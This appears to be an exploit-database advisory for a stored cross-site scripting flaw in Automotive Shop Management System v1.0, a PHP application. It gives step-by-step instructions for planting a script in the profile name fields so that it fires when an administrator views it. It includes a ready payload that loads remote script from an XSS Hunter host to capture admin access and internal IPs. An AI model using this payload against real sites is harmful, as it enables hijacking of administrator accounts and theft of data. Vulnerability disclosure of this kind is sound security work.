Exploit Title: Automotive Shop Management System v1.0 - Stored Cross Site Scripting(XSS)

Exploit Author: NS Kumar (n1_x)

Date: May 6, 2022

Vendor Homepage: https://www.sourcecodester.com/php/15312/automotive-shop-management-system-phpoop-free-source-code.html

Software Link:

https://www.sourcecodester.com/sites/default/files/download/oretnom23/asms_0.zip

Tested on: Parrot Linux, Apache, Mysql

Vendor: oretnom23

Version: v1.0

Exploit Description:

Automotive Shop Management System v1.0 suffers from stored XSS Injection Vulnerability allowing remote attackers to gain admin access and view internal IPs.

``````````````````````````````````````To Exploit`` Step 1: Goto Profile Page

Step 2: Put XSS Hunter Payload on Either First Name or Last Name field

Step 3: Wait for Admin to view your details

Step 4: Then you will see xss fires alert on xss hunter page

Payload Used for this Exploit: "><script src=https://d4.xss.ht></script>
``````````````````````````````````````